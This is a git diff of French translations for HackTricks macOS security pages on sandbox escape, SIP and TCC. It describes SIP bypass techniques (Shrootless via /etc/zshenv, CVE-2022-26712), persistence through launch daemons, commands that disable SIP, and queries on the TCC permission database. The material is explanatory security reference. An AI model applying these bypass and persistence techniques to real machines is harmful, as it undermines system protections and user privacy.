`/System/Library/LaunchDaemons`. -If a sandboxed process can **write** in a place where **later an unsandboxed application is going to run the binary**, it will be able to **escape just by placing** there the binary. A good example of this kind of locations are `~/Library/LaunchAgents` or `/System/Library/LaunchDaemons`. +Pour cela, vous pourriez même avoir besoin de **2 étapes** : pour faire fonctionner un processus avec un sandbox **plus permissif** (`file-read*`, `file-write*`) exécutez votre code qui écrira en un endroit où il sera **exécuté sans sandbox**. -For this you might even need **2 steps**: To make a process with a **more permissive sandbox** (`file-read*`, `file-write*`) execute your code which will actually write in a place where it will be **executed unsandboxed**. - -Check this page about **Auto Start locations**: +Consultez cette page sur les **emplacements de démarrage automatique** : {% content-ref url="broken-reference" %} -[Broken link](broken-reference) +[Lien brisé](broken-reference) {% endcontent-ref %} -## References +## Références * [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf) * [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) @@ -302,10 +432,10 @@ Check this page about **Auto Start locations**: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md index 07d53db47..c1a527a0b 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md @@ -1,126 +1,100 @@ -# macOS SIP +## **Informations de base** -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
- -## **Basic Information** - -**System Integrity Protection (SIP)** is a security technology in macOS that safeguards certain system directories from unauthorized access, even for the root user. It prevents modifications to these directories, including creation, alteration, or deletion of files. The main directories that SIP protects are: +**System Integrity Protection (SIP)** est une technologie de sécurité dans macOS qui protège certains répertoires système contre l'accès non autorisé, même pour l'utilisateur root. Il empêche les modifications de ces répertoires, y compris la création, la modification ou la suppression de fichiers. Les principaux répertoires que SIP protège sont : * **/System** * **/bin** * **/sbin** * **/usr** -The protection rules for these directories and their subdirectories are specified in the **`/System/Library/Sandbox/rootless.conf`** file. In this file, paths starting with an asterisk (\*) represent exceptions to SIP's restrictions. - -For instance, the following configuration: +Les règles de protection pour ces répertoires et leurs sous-répertoires sont spécifiées dans le fichier **`/System/Library/Sandbox/rootless.conf`**. Dans ce fichier, les chemins commençant par un astérisque (\*) représentent des exceptions aux restrictions de SIP. +Par exemple, la configuration suivante : ```javascript javascriptCopy code/usr * /usr/libexec/cups * /usr/local * /usr/share/man ``` +Indique que le répertoire **`/usr`** est généralement protégé par SIP. Cependant, des modifications sont autorisées dans les trois sous-répertoires spécifiés (`/usr/libexec/cups`, `/usr/local` et `/usr/share/man`), car ils sont répertoriés avec un astérisque en tête (\*). -indicates that the **`/usr`** directory is generally protected by SIP. However, modifications are allowed in the three subdirectories specified (`/usr/libexec/cups`, `/usr/local`, and `/usr/share/man`), as they are listed with a leading asterisk (\*). - -To verify whether a directory or file is protected by SIP, you can use the **`ls -lOd`** command to check for the presence of the **`restricted`** or **`sunlnk`** flag. For example: - +Pour vérifier si un répertoire ou un fichier est protégé par SIP, vous pouvez utiliser la commande **`ls -lOd`** pour vérifier la présence du drapeau **`restricted`** ou **`sunlnk`**. Par exemple: ```bash ls -lOd /usr/libexec/cups drwxr-xr-x 11 root wheel sunlnk 352 May 13 00:29 /usr/libexec/cups ``` +Dans ce cas, le drapeau **`sunlnk`** signifie que le répertoire `/usr/libexec/cups` lui-même ne peut pas être supprimé, bien que des fichiers à l'intérieur puissent être créés, modifiés ou supprimés. -In this case, the **`sunlnk`** flag signifies that the `/usr/libexec/cups` directory itself cannot be deleted, though files within it can be created, modified, or deleted. - -On the other hand: - +D'autre part: ```bash ls -lOd /usr/libexec drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec ``` +Ici, le drapeau **`restricted`** indique que le répertoire `/usr/libexec` est protégé par SIP. Dans un répertoire protégé par SIP, les fichiers ne peuvent pas être créés, modifiés ou supprimés. -Here, the **`restricted`** flag indicates that the `/usr/libexec` directory is protected by SIP. In a SIP-protected directory, files cannot be created, modified, or deleted. - -### SIP Status - -You can check if SIP is enabled on your system with the following command: +### État de SIP +Vous pouvez vérifier si SIP est activé sur votre système avec la commande suivante : ```bash csrutil status ``` - -If you need to disable SIP, you must restart your computer in recovery mode (by pressing Command+R during startup), then execute the following command: - +Si vous devez désactiver SIP, vous devez redémarrer votre ordinateur en mode de récupération (en appuyant sur Commande+R au démarrage), puis exécuter la commande suivante: ```bash csrutil disable ``` - -If you wish to keep SIP enabled but remove debugging protections, you can do so with: - +Si vous souhaitez conserver SIP activé mais supprimer les protections de débogage, vous pouvez le faire avec: ```bash csrutil enable --without debug ``` +### Autres restrictions -### Other Restrictions +SIP impose également plusieurs autres restrictions. Par exemple, il interdit le **chargement d'extensions de noyau non signées** (kexts) et empêche le **débogage** des processus système de macOS. Il empêche également des outils tels que dtrace d'inspecter les processus système. -SIP also imposes several other restrictions. For instance, it disallows the **loading of unsigned kernel extensions** (kexts) and prevents the **debugging** of macOS system processes. It also inhibits tools like dtrace from inspecting system processes. +## Contournements de SIP -## SIP Bypasses +### Packages d'installation -### Installer Packages +Les **packages d'installation signés avec le certificat d'Apple** peuvent contourner ses protections. Cela signifie que même les packages signés par des développeurs standard seront bloqués s'ils tentent de modifier les répertoires protégés par SIP. -**Installer packages signed with Apple's certificate** can bypass its protections. This means that even packages signed by standard developers will be blocked if they attempt to modify SIP-protected directories. +### Fichier SIP inexistant -### Unexistent SIP file - -One potential loophole is that if a file is specified in **`rootless.conf` but does not currently exist**, it can be created. Malware could exploit this to **establish persistence** on the system. For example, a malicious program could create a .plist file in `/System/Library/LaunchDaemons` if it is listed in `rootless.conf` but not present. +Une faille potentielle est que si un fichier est spécifié dans **`rootless.conf` mais n'existe pas actuellement**, il peut être créé. Les logiciels malveillants pourraient exploiter cela pour **établir une persistance** sur le système. Par exemple, un programme malveillant pourrait créer un fichier .plist dans `/System/Library/LaunchDaemons` s'il est répertorié dans `rootless.conf` mais n'est pas présent. ### com.apple.rootless.install.heritable {% hint style="danger" %} -The entitlement **`com.apple.rootless.install.heritable`** allows to bypass SIP +L'entitlement **`com.apple.rootless.install.heritable`** permet de contourner SIP {% endhint %} -[**Researchers from this blog post**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) discovered a vulnerability in macOS's System Integrity Protection (SIP) mechanism, dubbed the 'Shrootless' vulnerability. This vulnerability centers around the `system_installd` daemon, which has an entitlement, **`com.apple.rootless.install.heritable`**, that allows any of its child processes to bypass SIP's file system restrictions. +[**Des chercheurs de ce billet de blog**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) ont découvert une vulnérabilité dans le mécanisme de protection de l'intégrité du système (SIP) de macOS, appelée vulnérabilité 'Shrootless'. Cette vulnérabilité concerne le démon `system_installd`, qui possède un entitlement, **`com.apple.rootless.install.heritable`**, qui permet à l'un de ses processus enfants de contourner les restrictions du système de fichiers de SIP. -Researchers found that during the installation of an Apple-signed package (.pkg file), **`system_installd`** **runs** any **post-install** scripts included in the package. These scripts are executed by the default shell, **`zsh`**, which automatically **runs** commands from the **`/etc/zshenv`** file, if it exists, even in non-interactive mode. This behavior could be exploited by attackers: by creating a malicious `/etc/zshenv` file and waiting for `system_installd` to invoke `zsh`, they could perform arbitrary operations on the device. +Les chercheurs ont découvert que lors de l'installation d'un package signé par Apple (.pkg), **`system_installd`** **exécute** tous les scripts **post-installation** inclus dans le package. Ces scripts sont exécutés par le shell par défaut, **`zsh`**, qui exécute automatiquement les commandes du fichier **`/etc/zshenv`**, s'il existe, même en mode non interactif. Cette fonctionnalité pourrait être exploitée par des attaquants : en créant un fichier malveillant `/etc/zshenv` et en attendant que `system_installd` invoque `zsh`, ils pourraient effectuer des opérations arbitraires sur l'appareil. -Moreover, it was discovered that **`/etc/zshenv` could be used as a general attack technique**, not just for a SIP bypass. Each user profile has a `~/.zshenv` file, which behaves the same way as `/etc/zshenv` but doesn't require root permissions. This file could be used as a persistence mechanism, triggering every time `zsh` starts, or as an elevation of privilege mechanism. If an admin user elevates to root using `sudo -s` or `sudo `, the `~/.zshenv` file would be triggered, effectively elevating to root. +De plus, il a été découvert que **`/etc/zshenv` pourrait être utilisé comme technique d'attaque générale**, pas seulement pour contourner SIP. Chaque profil utilisateur possède un fichier `~/.zshenv`, qui se comporte de la même manière que `/etc/zshenv` mais ne nécessite pas de permissions root. Ce fichier pourrait être utilisé comme mécanisme de persistance, se déclenchant à chaque démarrage de `zsh`, ou comme mécanisme d'élévation de privilèges. Si un utilisateur admin élève ses privilèges en utilisant `sudo -s` ou `sudo `, le fichier `~/.zshenv` serait déclenché, permettant ainsi une élévation de privilèges effective. ### **com.apple.rootless.install** {% hint style="danger" %} -The entitlement **`com.apple.rootless.install`** allows to bypass SIP +L'entitlement **`com.apple.rootless.install`** permet de contourner SIP {% endhint %} -From [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/) The system XPC service `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` has the entitlement **`com.apple.rootless.install`**, which grants the process permission to bypass SIP restrictions. It also **exposes a method to move files without any security check.** +À partir de [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/), le service XPC système `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` possède l'entitlement **`com.apple.rootless.install`**, qui accorde au processus l'autorisation de contourner les restrictions de SIP. Il **expose également une méthode pour déplacer des fichiers sans aucune vérification de sécurité.** -## Sealed System Snapshots +## Instantanés de système scellés -Sealed System Snapshots are a feature introduced by Apple in **macOS Big Sur (macOS 11)** as a part of its **System Integrity Protection (SIP)** mechanism to provide an additional layer of security and system stability. They are essentially read-only versions of the system volume. +Les instantanés de système scellés sont une fonctionnalité introduite par Apple dans **macOS Big Sur (macOS 11)** dans le cadre de son mécanisme de protection de l'intégrité du système (SIP) pour fournir une couche de sécurité et de stabilité supplémentaire au système. Ce sont essentiellement des versions en lecture seule du volume système. -Here's a more detailed look: +Voici un aperçu plus détaillé : -1. **Immutable System**: Sealed System Snapshots make the macOS system volume "immutable", meaning that it cannot be modified. This prevents any unauthorized or accidental changes to the system that could compromise security or system stability. -2. **System Software Updates**: When you install macOS updates or upgrades, macOS creates a new system snapshot. The macOS startup volume then uses **APFS (Apple File System)** to switch to this new snapshot. The entire process of applying updates becomes safer and more reliable as the system can always revert to the previous snapshot if something goes wrong during the update. -3. **Data Separation**: In conjunction with the concept of Data and System volume separation introduced in macOS Catalina, the Sealed System Snapshot feature makes sure that all your data and settings are stored on a separate "**Data**" volume. This separation makes your data independent from the system, which simplifies the process of system updates and enhances system security. +1. **Système immuable** : les instantanés de système scellés rendent le volume système de macOS "immuable", ce qui signifie qu'il ne peut pas être modifié. Cela empêche toute modification non autorisée ou accidentelle du système qui pourrait compromettre la sécurité ou la stabilité du système. +2. **Mises à jour du logiciel système** : lorsque vous installez des mises à jour ou des mises à niveau de macOS, macOS crée un nouvel instantané système. Le volume de démarrage de macOS utilise ensuite **APFS (Apple File System)** pour passer à ce nouvel instantané. Tout le processus de mise à jour devient plus sûr et plus fiable, car le système peut toujours revenir à l'instantané précédent en cas de problème pendant la mise à jour. +3. **Séparation des données** : en conjonction avec le concept de séparation des volumes de données et de système introduit dans macOS Catalina, la fonctionnalité d'instantanés de système scellés garantit que toutes vos données et paramètres sont stockés sur un volume "**Données**" séparé. Cette séparation rend vos données indépendantes du système, ce qui simplifie le processus de mise à jour du système et améliore la sécurité du système. -Remember that these snapshots are automatically managed by macOS and don't take up additional space on your disk, thanks to the space sharing capabilities of APFS. It’s also important to note that these snapshots are different from **Time Machine snapshots**, which are user-accessible backups of the entire system. +N'oubliez pas que ces instantanés sont gérés automatiquement par macOS et ne prennent pas d'espace supplémentaire sur votre disque, grâce aux capacités de partage d'espace d'APFS. Il est également important de noter que ces instantanés sont différents des **instantanés Time Machine**, qui sont des sauvegardes accessibles par l'utilisateur de l'ensemble du système. -### Check Snapshots +### Vérifier les instantanés -The command **`diskutil apfs list`** lists the **details of the APFS volumes** and their layout: +La commande **`diskutil apfs list`** liste les **détails des volumes APFS** et leur disposition :
-In the previous output it's possible to see that **macOS System volume snapshot is sealed** (cryptographically signed by the OS). SO, if SIP is bypassed and modifies it, the **OS won't boot anymore**. - -It's also possible to verify that seal is enabled by running: +Dans la sortie précédente, il est possible de voir que **l'instantané du volume système de macOS est scellé** (signé cryptographiquement par le système d'exploitation). Ainsi, si SIP est contourné et modifié, le **système d'exploitation ne démarrera plus**. +Il est également possible de vérifier que le scellement est activé en exécutant : ``` csrutil authenticated-root status Authenticated Root status: enabled ``` - -Moreover, it's mounted as **read-only**: - +De plus, il est monté en **lecture seule**: ``` mount /dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled) ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md index f31ef514b..3c28c734b 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/README.md @@ -4,36 +4,36 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). -## **Basic Information** +## **Informations de base** -**TCC (Transparency, Consent, and Control)** is a mechanism in macOS to **limit and control application access to certain features**, usually from a privacy perspective. This can include things such as location services, contacts, photos, microphone, camera, accessibility, full disk access, and a bunch more. +**TCC (Transparency, Consent, and Control)** est un mécanisme dans macOS pour **limiter et contrôler l'accès des applications à certaines fonctionnalités**, généralement d'un point de vue de la confidentialité. Cela peut inclure des choses telles que les services de localisation, les contacts, les photos, le microphone, la caméra, l'accessibilité, l'accès complet au disque et bien plus encore. -From a user’s perspective, they see TCC in action **when an application wants access to one of the features protected by TCC**. When this happens the **user is prompted** with a dialog asking them whether they want to allow access or not. +Du point de vue de l'utilisateur, il voit TCC en action **lorsqu'une application veut accéder à l'une des fonctionnalités protégées par TCC**. Lorsque cela se produit, l'**utilisateur est invité** avec une boîte de dialogue lui demandant s'il souhaite autoriser l'accès ou non. -It's also possible to **grant apps access** to files by **explicit intents** from users for example when a user **drags\&drop a file into a program** (obviously the program should have access to it). +Il est également possible de **donner aux applications l'accès** aux fichiers par des **intentions explicites** des utilisateurs, par exemple lorsque l'utilisateur **glisse et dépose un fichier dans un programme** (évidemment, le programme doit y avoir accès). -![An example of a TCC prompt](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) +![Un exemple de boîte de dialogue TCC](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855) -**TCC** is handled by the **daemon** located in `/System/Library/PrivateFrameworks/TCC.framework/Resources/tccd`configured in `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registering the mach service `com.apple.tccd.system`). +**TCC** est géré par le **démon** situé dans `/System/Library/PrivateFrameworks/TCC.framework/Resources/tccd` configuré dans `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (enregistrant le service mach `com.apple.tccd.system`). -There is a **user-mode tccd** running per logged in user defined in `/System/Library/LaunchAgents/com.apple.tccd.plist` registering the mach services `com.apple.tccd` and `com.apple.usernotifications.delegate.com.apple.tccd`. +Il y a un **tccd en mode utilisateur** en cours d'exécution par utilisateur connecté défini dans `/System/Library/LaunchAgents/com.apple.tccd.plist` enregistrant les services mach `com.apple.tccd` et `com.apple.usernotifications.delegate.com.apple.tccd`. -Permissions are **inherited from the parent** application and the **permissions** are **tracked** based on the **Bundle ID** and the **Developer ID**. +Les autorisations sont **héritées du parent** de l'application et les **autorisations** sont **suivies** en fonction de l'**ID de bundle** et de l'**ID de développeur**. -### TCC Database +### Base de données TCC -The selections is then stored in the TCC system-wide database in **`/Library/Application Support/com.apple.TCC/TCC.db`** or in **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** for per-user preferences. The database is **protected from editing with SIP**(System Integrity Protection), but you can read them by granting **full disk access**. +Les sélections sont ensuite stockées dans la base de données TCC à l'échelle du système dans **`/Library/Application Support/com.apple.TCC/TCC.db`** ou dans **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** pour les préférences par utilisateur. La base de données est **protégée contre la modification avec SIP** (System Integrity Protection), mais vous pouvez les lire en accordant **un accès complet au disque**. {% hint style="info" %} -The **notification center UI** can make **changes in the system TCC database**: +L'**interface utilisateur du centre de notification** peut apporter des **changements dans la base de données TCC du système** : {% code overflow="wrap" %} ```bash @@ -44,7 +44,7 @@ com.apple.rootless.storage.TCC ``` {% endcode %} -However, users can **delete or query rules** with the **`tccutil`** command line utility. +Cependant, les utilisateurs peuvent **supprimer ou interroger les règles** avec l'utilitaire en ligne de commande **`tccutil`**. {% endhint %} {% tabs %} @@ -67,7 +67,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; ``` {% endtab %} -{% tab title="system DB" %} +{% tab title="Base de données système" %} ```bash sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db sqlite> .schema @@ -88,24 +88,22 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0; {% endtabs %} {% hint style="success" %} -Checking both databases you can check the permissions an app has allowed, has forbidden, or doesn't have (it will ask for it). +En vérifiant les deux bases de données, vous pouvez vérifier les autorisations qu'une application a autorisées, interdites ou n'a pas (elle demandera l'autorisation). {% endhint %} -* The **`auth_value`** can have different values: denied(0), unknown(1), allowed(2), or limited(3). -* The **`auth_reason`** can take the following values: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) -* For more information about the **other fields** of the table [**check this blog post**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive). +* La **`auth_value`** peut avoir différentes valeurs : denied(0), unknown(1), allowed(2) ou limited(3). +* La **`auth_reason`** peut prendre les valeurs suivantes : Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12) +* Pour plus d'informations sur les **autres champs** de la table, [**consultez ce billet de blog**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive). {% hint style="info" %} -Some TCC permissions are: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... There is no public list that defines all of them but you can check this [**list of known ones**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service). +Certaines autorisations TCC sont : kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... Il n'y a pas de liste publique qui les définit toutes, mais vous pouvez consulter cette [**liste de celles connues**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive#service). {% endhint %} -You could also check **already given permissions** to apps in `System Preferences --> Security & Privacy --> Privacy --> Files and Folders`. +Vous pouvez également vérifier les **autorisations déjà accordées** aux applications dans `Préférences Système --> Sécurité et confidentialité --> Confidentialité --> Fichiers et dossiers`. -### TCC Signature Checks +### Vérifications de signature TCC -The TCC **database** stores the **Bundle ID** of the application, but it also **stores** **information** about the **signature** to **make sure** the App asking to use the a permission is the correct one. - -{% code overflow="wrap" %} +La **base de données** TCC stocke l'**ID de bundle** de l'application, mais elle stocke également des **informations** sur la **signature** pour **s'assurer** que l'application qui demande d'utiliser une autorisation est la bonne. ```bash # From sqlite sqlite> select hex(csreq) from access where client="ru.keepcoder.Telegram"; @@ -120,15 +118,14 @@ csreq -t -r /tmp/telegram_csreq.bin ``` {% endcode %} -### Entitlements +### Attributions -Apps **don't only need** to **request** and have been **granted access** to some resources, they also need to **have the relevant entitlements**.\ -For example **Telegram** has the entitlement `com.apple.security.device.camera` to request **access to the camera**. An **app** that **doesn't** have this **entitlement won't be able** to access the camera (and the user won't be be even asked for the permissions). +Les applications **n'ont pas seulement besoin** de **demander** et d'obtenir l'accès à certaines ressources, elles doivent également **avoir les autorisations pertinentes**.\ +Par exemple, **Telegram** a l'autorisation `com.apple.security.device.camera` pour demander **l'accès à la caméra**. Une **application** qui **n'a pas cette autorisation ne pourra pas** accéder à la caméra (et l'utilisateur ne sera même pas invité à donner les autorisations). -However, for apps to **access** to **certain user folders**, such as `~/Desktop`, `~/Downloads` and `~/Documents`, they **don't need** to have any specific **entitlements.** The system will transparently handle access and **prompt the user** as needed. - -Apple's apps **won’t generate prompts**. They contain **pre-granted rights** in their **entitlements** list, meaning they will **never generate a popup**, **nor** they will show up in any of the **TCC databases.** For example: +Cependant, pour que les applications **accèdent** à certains dossiers de l'utilisateur, tels que `~/Desktop`, `~/Downloads` et `~/Documents`, elles **n'ont pas besoin** d'avoir des **autorisations spécifiques**. Le système gérera l'accès de manière transparente et **invitera l'utilisateur** si nécessaire. +Les applications d'Apple **ne génèrent pas de pop-ups**. Elles contiennent des **droits préalablement accordés** dans leur liste d'autorisations, ce qui signifie qu'elles ne **généreront jamais de pop-up**, **ni** n'apparaîtront dans l'une des **bases de données TCC**. Par exemple: ```bash codesign -dv --entitlements :- /System/Applications/Calendar.app [...] @@ -139,19 +136,17 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app kTCCServiceAddressBook ``` +Cela évitera que Calendrier demande à l'utilisateur d'accéder aux rappels, au calendrier et au carnet d'adresses. -This will avoid Calendar ask the user to access reminders, calendar and the address book. +### Endroits sensibles non protégés -### Sensitive unprotected places - -* $HOME (itself) +* $HOME (lui-même) * $HOME/.ssh, $HOME/.aws, etc * /tmp -### User Intent / com.apple.macl - -As mentioned previously, it possible to **grant access to an App to a file by drag\&dropping it to it**. This access won't be specified in any TCC database but as an **extended** **attribute of the file**. This attribute will **store the UUID** of the allowed app: +### Intention de 